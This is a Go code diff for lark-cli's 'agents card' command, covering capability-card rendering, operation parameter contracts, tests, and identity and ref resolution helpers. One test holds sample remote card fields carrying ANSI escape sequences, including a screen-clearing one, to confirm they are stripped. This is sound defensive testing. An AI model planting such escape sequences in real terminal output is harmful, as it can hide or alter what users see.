+		return agentCardOperationRun(opts, prov, spec, id)
+	}
+
+	// Best-effort remote enrichment: if a client is configured, pass a runtime so
+	// a provider's Describe can fill Name/Description from the platform; otherwise
+	// rt stays nil and BuildCard returns the offline (caps + static) card. An
+	// unsupported current identity also keeps the static card available: the card
+	// itself is how callers discover the provider's supported identity subset.
+	var rt iagents.Runtime
+	if providerSupportsIdentity(prov, id) {
+		if r, rerr := runtimeFor(f, id, agentID, nil); rerr == nil {
+			rt = r
+		}
+	}
+	card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), rt)
+
+	jq := jqExpr(opts.Cmd)
+	// pretty is a human view only; a --jq expression implies structured JSON,
+	// so it takes precedence over the pretty format.
+	if opts.Format == "pretty" && jq == "" {
+		printCardPretty(f.IOStreams.Out, card)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     card,
+		Notice:   output.GetNotice(),
+	}
+	if jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// operationContract is one operation's parameter contract in `card
+// --operation` output. Parameters is always an array (empty is [], never
+// null); Command is the human command shape (a template, never executable
+// verbatim) and is omitted for unwired operations.
+type operationContract struct {
+	Operation  string              `json:"operation"`
+	Supported  bool                `json:"supported"`
+	Command    string              `json:"command,omitempty"`
+	Parameters []iagents.CardParam `json:"parameters"`
+	// ParametersSource is "template" on instance providers (both the single-verb
+	// and the all forms), mirroring the lean card's honesty label.
+	ParametersSource string `json:"parameters_source,omitempty"`
+}
+
+// contractFor projects one OpInfo into its output contract.
+func contractFor(o iagents.OpInfo) operationContract {
+	c := operationContract{Operation: o.Verb, Supported: o.Wired, Parameters: []iagents.CardParam{}}
+	if o.Wired {
+		c.Command = verbCommandTemplate[o.Verb]
+		if o.Params != nil {
+			c.Parameters = o.Params
+		}
+	}
+	return c
+}
+
+// agentCardOperationRun serves `card --operation <verb|all>`: the parameter
+// contract subquery. Everything is offline static data. Edge behaviors are
+// deterministic: an unknown verb is invalid_argument listing the vocabulary;
+// an unwired verb answers supported:false; a wired zero-param verb answers
+// supported:true + parameters:[] ("nothing to pass" — not "not found").
+func agentCardOperationRun(opts *cardOptions, prov iagents.Provider, spec *iagents.AgentSpec, id core.Identity) error {
+	f := opts.Factory
+	verb := opts.Operation
+
+	var data any
+	var prettyFn func(io.Writer)
+
+	if verb == "all" {
+		all := map[string]operationContract{}
+		for _, o := range spec.Ops() {
+			all[o.Verb] = contractFor(o)
+		}
+		if prov.Kind() == iagents.KindInstance {
+			data = map[string]any{"operations": all, "parameters_source": "template"}
+		} else {
+			data = map[string]any{"operations": all}
+		}
+		prettyFn = func(w io.Writer) {
+			for _, o := range spec.Ops() {
+				printOperationPretty(w, contractFor(o))
+			}
+		}
+	} else {
+		o, ok := spec.Op(verb)
+		if !ok {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"未知操作 %q，合法值: %s, all", verb, strings.Join(iagents.Verbs(), ", ")).
+				WithParam("--operation").
+				WithHint("--operation 的合法动词见 message 列表（即 8 个操作名；capabilities 里的 file_input/input_required 是行为位、不是动词）；all 一次拿全")
+		}
+		c := contractFor(o)
+		if prov.Kind() == iagents.KindInstance {
+			c.ParametersSource = "template" // struct 复用：不为 unwired 操作凭空造出 command:"" 键
+		}
+		data = c
+		prettyFn = func(w io.Writer) { printOperationPretty(w, c) }
+	}
+
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		prettyFn(f.IOStreams.Out)
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     data,
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// printOperationPretty renders one operation contract as a human block.
+func printOperationPretty(w io.Writer, c operationContract) {
+	if !c.Supported {
+		fmt.Fprintf(w, "operation: %s (不支持)\n", c.Operation)
+		return
+	}
+	fmt.Fprintf(w, "operation: %s\n", c.Operation)
+	if c.Command != "" {
+		fmt.Fprintf(w, "  command: %s\n", c.Command)
+	}
+	if len(c.Parameters) == 0 {
+		fmt.Fprintln(w, "  parameters: （无业务参数）")
+		return
+	}
+	fmt.Fprintln(w, "  parameters:")
+	for _, p := range c.Parameters {
+		printParamPretty(w, p)
+	}
+}
+
+// printParamPretty renders one declaration: the familiar "name: type
+// (required) — desc" first line plus an attribute line (enum / range /
+// default) when present. Desc/enum are provider-authored strings → stripANSI.
+func printParamPretty(w io.Writer, p iagents.CardParam) {
+	req := ""
+	if p.Required {
+		req = " (required)"
+	}
+	fmt.Fprintf(w, "    %s: %s%s", p.Name, p.Type, req)
+	if p.Desc != "" {
+		fmt.Fprintf(w, " — %s", stripANSI(p.Desc))
+	}
+	fmt.Fprintln(w)
+	var attrs []string
+	if len(p.Enum) > 0 {
+		attrs = append(attrs, "取值: "+stripANSI(strings.Join(p.Enum, " | ")))
+	}
+	if p.Min != nil || p.Max != nil {
+		attrs = append(attrs, "范围: "+rangePretty(p))
+	}
+	if p.Default != "" {
+		attrs = append(attrs, "默认: "+stripANSI(p.Default))
+	}
+	if p.NoCarry {
+		attrs = append(attrs, "不入链传（每次调用给新值）")
+	}
+	if len(attrs) > 0 {
+		fmt.Fprintf(w, "        %s\n", strings.Join(attrs, " · "))
+	}
+	// object：叶子逐个缩进渲染（点路径写法直接可见）
+	for _, f := range p.Fields {
+		leaf := f
+		leaf.Name = p.Name + "." + f.Name
+		fmt.Fprint(w, "    ")
+		printParamPretty(w, leaf)
+	}
+}
+
+// rangePretty renders Min/Max for the pretty view.
+func rangePretty(p iagents.CardParam) string {
+	trim := func(f float64) string { return strings.TrimRight(strings.TrimRight(fmt.Sprintf("%f", f), "0"), ".") }
+	switch {
+	case p.Min != nil && p.Max != nil:
+		return trim(*p.Min) + ".." + trim(*p.Max)
+	case p.Min != nil:
+		return ">=" + trim(*p.Min)
+	default:
+		return "<=" + trim(*p.Max)
+	}
+}
+
+// printCardPretty writes a compact human-readable view of the lean card:
+// identity header (with per-identity preconditions), the sorted capability
+// matrix, the has_parameters cue and declared skills. Remote cards carry
+// agent-controlled Name/Description strings, so every such field is
+// ANSI-stripped before hitting the terminal. Nil cards degrade to a
+// placeholder line rather than panicking.
+func printCardPretty(w io.Writer, card *iagents.AgentCard) {
+	if card == nil {
+		fmt.Fprintln(w, "(no card)")
+		return
+	}
+	// Dynamic cards carry a Name; static cards fall back to the provider label.
+	name := card.Name
+	if name == "" {
+		name = card.ProviderLabel
+	}
+	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
+	if card.Description != "" {
+		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
+	}
+	if len(card.Identity) > 0 {
+		ids := make([]string, 0, len(card.Identity))
+		for _, spec := range card.Identity {
+			id := string(spec.Type)
+			if spec.Precondition != "" {
+				id += "（前置: " + stripANSI(spec.Precondition) + "）"
+			}
+			ids = append(ids, id)
+		}
+		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
+	}
+
+	fmt.Fprintln(w, "  capabilities:")
+	// Capabilities is a closed struct; iterate in fixed alphabetical key order.
+	keys := []string{
+		iagents.CapArtifactDownload,
+		iagents.CapContextDelete,
+		iagents.CapContextGet,
+		iagents.CapContextList,
+		iagents.CapFileInput,
+		iagents.CapInputRequired,
+		iagents.CapTaskCancel,
+		iagents.CapTaskGet,
+		iagents.CapTaskList,
+	}
+	sort.Strings(keys)
+	for _, k := range keys {
+		mark := "no"
+		if card.Supports(k) {
+			mark = "yes"
+		}
+		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
+	}
+
+	if len(card.HasParameters) > 0 {
+		fmt.Fprintf(w, "  parameters: %s\n", strings.Join(card.HasParameters, ", "))
+		fmt.Fprintf(w, "    （用 --operation <verb> 查看详情，如: lark-cli agents card %s --operation %s）\n",
+			safeRefOrPlaceholder(card), card.HasParameters[0])
+	}
+	if card.ParametersSource != "" {
+		fmt.Fprintf(w, "  parameters_source: %s（模板级声明，具体 agent 以平台为准）\n", card.ParametersSource)
+	}
+
+	if len(card.Skills) > 0 {
+		fmt.Fprintln(w, "  skills:")
+		for _, sk := range card.Skills {
+			name := sk.Name
+			if name == "" {
+				name = sk.ID
+			}
+			fmt.Fprintf(w, "    %s\n", stripANSI(name))
+		}
+	}
+}
+
+// safeRefOrPlaceholder reconstructs the card's ref for the pretty hint when it
+// passes the interpolation whitelist, else a placeholder.
+func safeRefOrPlaceholder(card *iagents.AgentCard) string {
+	ref := card.Provider + ":" + card.AgentID
+	if safeNextRef(ref) {
+		return ref
+	}
+	return "<agent_ref>"
+}

cmd/agents/card_test.go

@@ -0,0 +1,336 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardTestOpts builds a cardOptions driving agentCardRun against a real
+// (test) Factory. The example card is synthesized statically, so no API call
+// is made and stdout carries the capability card envelope.
+func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
+	t.Helper()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
+	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
+}
+
+// TestAgentCardRun_ExampleStaticCard verifies that `agents card example:echo`
+// returns the statically synthesized capability card (no API), with
+// task_cancel gated off and the three context_* caps on, and the agent_id
+// echoed from the ref.
+func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card should be statically synthesized and not error: %v", err)
+	}
+
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v", err)
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be a card object, got %T", env.Data)
+	}
+	if data["agent_id"] != "echo" {
+		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
+	}
+	if data["provider"] != "example" {
+		t.Errorf("provider should be example, got %v", data["provider"])
+	}
+	// source was removed from the card (schema tightening).
+	if _, present := data["source"]; present {
+		t.Errorf("card should no longer carry a source field, got %v", data["source"])
+	}
+	caps, ok := data["capabilities"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
+	}
+	if caps["task_cancel"] != false {
+		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
+	}
+	if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
+		t.Errorf("echo should support the three context capabilities, got %v", caps)
+	}
+	// The lean card embeds NO parameter details; has_parameters is the always-
+	// emitted (non-null) cue. echo declares no params ⇒ []; the old parameters
+	// field must be gone entirely.
+	if hp, ok := data["has_parameters"].([]interface{}); !ok {
+		t.Errorf("has_parameters should be a non-null array, got %T (%v)", data["has_parameters"], data["has_parameters"])
+	} else if len(hp) != 0 {
+		t.Errorf("echo has_parameters should be empty, got %v", hp)
+	}
+	if _, present := data["parameters"]; present {
+		t.Errorf("the lean card must not embed a parameters field (use --operation), got %v", data["parameters"])
+	}
+	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
+		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
+	}
+	// card no longer exposes scope: the required_scopes field was removed from
+	// AgentCard (scope is an internal registration item used only for preflight).
+	if _, present := data["required_scopes"]; present {
+		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
+	}
+}
+
+// TestAgentCardRun_UserOnlyProviderRemainsDiscoverable pins the separation
+// between Card discovery and operation identity enforcement. An unsupported
+// default bot identity still gets the static user-only Card without Describe;
+// a supported user identity may use the configured runtime to enrich it.
+func TestAgentCardRun_UserOnlyProviderRemainsDiscoverable(t *testing.T) {
+	registerScripted()
+	describeCalls := 0
+	fakeUserOnlyDescribe = func(rt iagents.Runtime) (*iagents.CardInfo, error) {
+		describeCalls++
+		if rt.IsBot() {
+			t.Fatal("Describe must not run with the provider-unsupported bot identity")
+		}
+		return &iagents.CardInfo{Name: "enriched for user"}, nil
+	}
+	t.Cleanup(func() { fakeUserOnlyDescribe = nil })
+
+	botFactory := unconfiguredFactory(t)
+	botCmd := resolveCmd(t, false, "") // unconfigured auto-detect falls back to bot
+	botOut := botFactory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(&cardOptions{Factory: botFactory, Cmd: botCmd, Ref: "fakeuseronly:agt_x", Format: "json"}); err != nil {
+		t.Fatalf("the static user-only Card should remain discoverable under default bot: %v", err)
+	}
+	if describeCalls != 0 {
+		t.Fatalf("unsupported bot identity must skip dynamic Describe, calls=%d", describeCalls)
+	}
+	var botEnv output.Envelope
+	if err := json.Unmarshal(botOut.Bytes(), &botEnv); err != nil || !botEnv.OK {
+		t.Fatalf("bot discovery should emit a valid success envelope: err=%v out=%s", err, botOut.Bytes())
+	}
+
+	userFactory, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	userCmd := resolveCmd(t, true, "user")
+	userOut := userFactory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(&cardOptions{Factory: userFactory, Cmd: userCmd, Ref: "fakeuseronly:agt_x", As: "user", Format: "json"}); err != nil {
+		t.Fatalf("the supported user identity should read and enrich the Card: %v", err)
+	}
+	if describeCalls != 1 {
+		t.Fatalf("supported user identity should invoke Describe once, calls=%d", describeCalls)
+	}
+	var userEnv output.Envelope
+	if err := json.Unmarshal(userOut.Bytes(), &userEnv); err != nil {
+		t.Fatalf("user Card output should be valid JSON: %v (%s)", err, userOut.Bytes())
+	}
+	data, _ := userEnv.Data.(map[string]interface{})
+	if data["name"] != "enriched for user" {
+		t.Fatalf("supported user identity should receive dynamic enrichment, got %v", data["name"])
+	}
+}
+
+// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
+// since the json default flip), the card renders as a human-readable listing.
+// The output must surface the identity and capability names in plain text so
+// the stream is not valid envelope JSON.
+func TestAgentCardRun_PrettyFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card pretty should not error: %v", err)
+	}
+
+	text := string(out.Bytes())
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.Contains(text, "echo") {
+		t.Errorf("pretty output should contain agent_id: %s", text)
+	}
+	// context_list is a declared capability of the echo card; it must appear.
+	if !strings.Contains(text, "context_list") {
+		t.Errorf("pretty output should list capabilities: %s", text)
+	}
+}
+
+// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
+func TestAgentCardRun_JSONFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "json"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card json should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must actually be REGISTERED on `agents card` (the run path already
+// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
+// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
+// the real command so registration + consumption are proven together.
+func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := NewCmdAgentCard(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("card --jq should not error: %v", err)
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
+// line instead of panicking (card.go nil branch).
+func TestPrintCardPretty_NilCard(t *testing.T) {
+	out := &bytes.Buffer{}
+	printCardPretty(out, nil)
+	if !strings.Contains(out.String(), "(no card)") {
+		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
+	}
+}
+
+// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
+// the pretty renderer that a minimal static card omits: the dynamic-card Name
+// (taking precedence over ProviderLabel), Description, declared Parameters, and
+// the Skills block (both the named skill and the id-fallback when Name is empty).
+func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
+		AgentID:       "agt_demo",
+		Description:   "a helpful demo agent",
+		Identity: []iagents.IdentitySpec{
+			{Type: "user"},
+			{Type: "bot", Precondition: "需加入渠道白名单"},
+		},
+		Capabilities: iagents.Capabilities{
+			ContextList: true,
+			TaskCancel:  false,
+		},
+		HasParameters: []string{"send"},
+		Skills: []iagents.CardSkill{
+			{ID: "sk_1", Name: "Sales Analysis"},
+			{ID: "sk_2"}, // no Name → falls back to ID
+		},
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+
+	for _, want := range []string{
+		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
+		"a helpful demo agent",  // Description branch
+		"identity: user, bot",   // IdentitySpec types are joined
+		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
+		"parameters: send",      // has_parameters cue + --operation pointer
+		"skills:",               // Skills block header
+		"Sales Analysis",        // skill with a Name
+		"sk_2",                  // skill without a Name → id fallback
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+}
+
+// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
+// agent-controlled Name/Description cannot smuggle ANSI escapes to the
+// terminal (this sanitization is applied to every pretty surface).
+func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:    "demo",
+		AgentID:     "agt_demo",
+		Name:        "\x1b[31mEvil\x1b[0m Agent",
+		Description: "desc\x1b[2Jwipe",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
+		t.Errorf("readable text should remain after stripping, got: %q", text)
+	}
+}
+
+// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
+// (no dynamic Name) renders its ProviderLabel as the header.
+func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		AgentID:       "agt_demo",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
+		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
+	}
+}
+
+// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
+// before any provider is built.
+func TestAgentCardRun_InvalidRef(t *testing.T) {
+	opts, _ := cardTestOpts(t, "no-colon")
+	if err := agentCardRun(opts); err == nil {
+		t.Fatal("malformed ref should error")
+	}
+}
+
+// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
+// presence of --format and --as flags.
+func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentCard(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agents card should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agents card missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agents card with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agents card should have a --format flag")
+	}
+	// Default output format is unified: card default flips from pretty to json.
+	if fl.DefValue != "json" {
+		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("as") == nil {
+		t.Error("agents card should have an --as flag")
+	}
+}

cmd/agents/common.go

@@ -0,0 +1,526 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agent implements the `agent` command tree: a provider-agnostic
+// surface over remote A2A agents. This file holds the shared
+// command-layer helpers: ref→provider resolution, --param validation against a
+// Card, success-envelope emission, capability gating, and wait/watch polling.
+package agents
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// supportedIdentities is the identity whitelist enforced for every agent
+// command; provider cards advertise (a subset of) the same set.
+var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
+
+// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
+// until ctx is done, returning true if the full duration elapsed and false if
+// ctx was canceled first. Tests swap it for a no-op.
+var sleep = func(ctx context.Context, d time.Duration) bool {
+	t := time.NewTimer(d)
+	defer t.Stop()
+	select {
+	case <-t.C:
+		return true
+	case <-ctx.Done():
+		return false
+	}
+}
+
+// resolveSpec is the fully-offline resolution path: it resolves the effective
+// identity, enforces both the global user|bot whitelist and the provider's
+// advertised identity subset, and looks up the AgentSpec
+// addressed by ref — WITHOUT constructing a client or touching the network. It
+// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
+// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
+// config gate — an unconfigured user still gets the precise error, not
+// not_configured. A real API verb then calls runtimeFor to build the client.
+func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
+	prov, spec, agentID, id, err := resolveSpecForCard(f, cmd, ref, asStr)
+	if err != nil {
+		return iagents.Provider{}, nil, "", "", err
+	}
+	if err := checkProviderIdentity(f, id, prov); err != nil {
+		return iagents.Provider{}, nil, "", "", err
+	}
+	return prov, spec, agentID, id, nil
+}
+
+// resolveSpecForCard resolves the effective identity and ref without enforcing
+// the provider's identity subset. A static card is the discovery surface that
+// tells callers which identities the provider supports, so it must remain
+// available even when the current/default identity is unsupported. Actual
+// operations use resolveSpec above and therefore still enforce the subset.
+func resolveSpecForCard(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
+	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
+	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
+		return iagents.Provider{}, nil, "", "", err
+	}
+	prov, spec, agentID, err := iagents.LookupSpec(ref)
+	if err != nil {
+		// ParseRef / unknown-scheme / unknown-id errors carry the validation
+		// wording; promote them to a typed validation error (with a recovery hint)
+		// so RunE never returns a bare error and the exit code / subtype are stable.
+		return iagents.Provider{}, nil, "", "", wrapRefResolveError(err)
+	}
+	return prov, spec, agentID, id, nil
+}
+
+func providerSupportsIdentity(prov iagents.Provider, id core.Identity) bool {
+	for _, identity := range prov.Identities {
+		if string(identity.Type) == string(id) {
+			return true
+		}
+	}
+	return false
+}
+
+func checkProviderIdentity(f *cmdutil.Factory, id core.Identity, prov iagents.Provider) error {
+	providerIdentities := make([]string, 0, len(prov.Identities))
+	for _, identity := range prov.Identities {
+		providerIdentities = append(providerIdentities, string(identity.Type))
+	}
+	return f.CheckIdentity(id, providerIdentities)
+}
+
+// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
+// the remote API. It requires a configured client (not_configured / exit 3 here
+// is correct for a real API call). agentID is the resolved agent this call
+// addresses (from the ref), exposed to hooks via rt.AgentID(); params is the
+// validated business-parameter map (defaults backfilled) exposed via
+// rt.Params() — pass nil on paths that carry no business params (card's
+// Describe enrichment).
+func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string, params map[string]string) (iagents.Runtime, error) {
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return nil, err
+	}
+	return &cmdRuntime{client: apiClient, as: id, agentID: agentID, params: params}, nil
+}
+
+// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
+// validation typed error (subtype invalid_argument, exit 2) and attaches the
+// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
+// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
+// shape; an unknown scheme points at `agents list` to discover the available
+// providers. Both hints are copy-pasteable next steps, not just wording.
+func wrapRefResolveError(err error) error {
+	// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
+	// carrying a scheme-scoped hint (`agents list <scheme>`); pass it through
+	// instead of flattening it via err.Error() and overwriting that hint with the
+	// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
+	// scheme errors need wrapping.
+	if _, ok := errs.ProblemOf(err); ok {
+		return err
+	}
+	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
+	if errors.Is(err, iagents.ErrInvalidRef) {
+		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
+	}
+	return e.WithHint("用 lark-cli agents list 查看可用 provider")
+}
+
+// cardHint builds the "check the agent card" hint. The ref is user-echoed
+// input: when it passes the safeNextRef whitelist the hint carries the
+// copy-pasteable command; otherwise it degrades to plain guidance without any
+// interpolated command (a ref containing spaces would make the command
+// non-copy-pasteable, and the hint is what an AI copies verbatim).
+func cardHint(ref, what string) string {
+	if safeNextRef(ref) {
+		return fmt.Sprintf("运行 lark-cli agents card %s 查看%s", ref, what)
+	}
+	return fmt.Sprintf("查看该 agent 的能力卡片（agents card 命令）确认%s", what)
+}
+
+// emitTask writes a task result: the standard success envelope carrying
+// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
+// the key:value human view. Because the agent's messages/artifacts are
+// untrusted external content, the payload is run through content-safety
+// scanning before emission on BOTH paths (and the pretty path additionally
+// ANSI-strips agent text). A --jq expression, when the leaf command registers
+// one, implies structured JSON and filters stdout.
+func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagents.AgentTask, next []output.NextAction, format string, notices ...string) error {
+	out := f.IOStreams.Out
+	errOut := f.IOStreams.ErrOut
+
+	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
+	if scan.Blocked {
+		return scan.BlockErr
+	}
+
+	// Normalization notices (provider contract defects, §3.2) must be visible on
+	// BOTH surfaces: stderr for humans, envelope _notice for the JSON consumer.
+	var defect string
+	for _, n := range notices {
+		if n != "" {
+			defect = n
+			fmt.Fprintf(errOut, "notice: %s\n", n)
+		}
+	}
+
+	if format == "pretty" && jqExpr(cmd) == "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		printTaskPretty(out, task)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data:     task,
+		Notice:   output.GetNotice(),
+	}
+	if defect != "" {
+		if env.Notice == nil {
+			env.Notice = map[string]interface{}{}
+		}
+		env.Notice["provider_defect"] = defect
+	}
+	if len(next) > 0 {
+		// Identity carry follows the CLI-family convention (shortcuts never pin
+		// --as into suggested commands): only when the caller EXPLICITLY passed
+		// --as does the suggestion carry the resolved identity — an explicit
+		// non-default identity would otherwise fall back to the default on
+		// verbatim replay and look up another principal's task store. An
+		// implicit (default/auto) identity stays unpinned: the next command
+		// re-resolves to the same answer in the same environment. Only
+		// agent-subtree commands take --as (auth login does not).
+		carryAsIntoNext(cmd, f, next)
+		env.Meta = &output.Meta{Next: next}
+	}
+	if scan.Alert != nil {
+		env.ContentSafetyAlert = scan.Alert
+	}
+
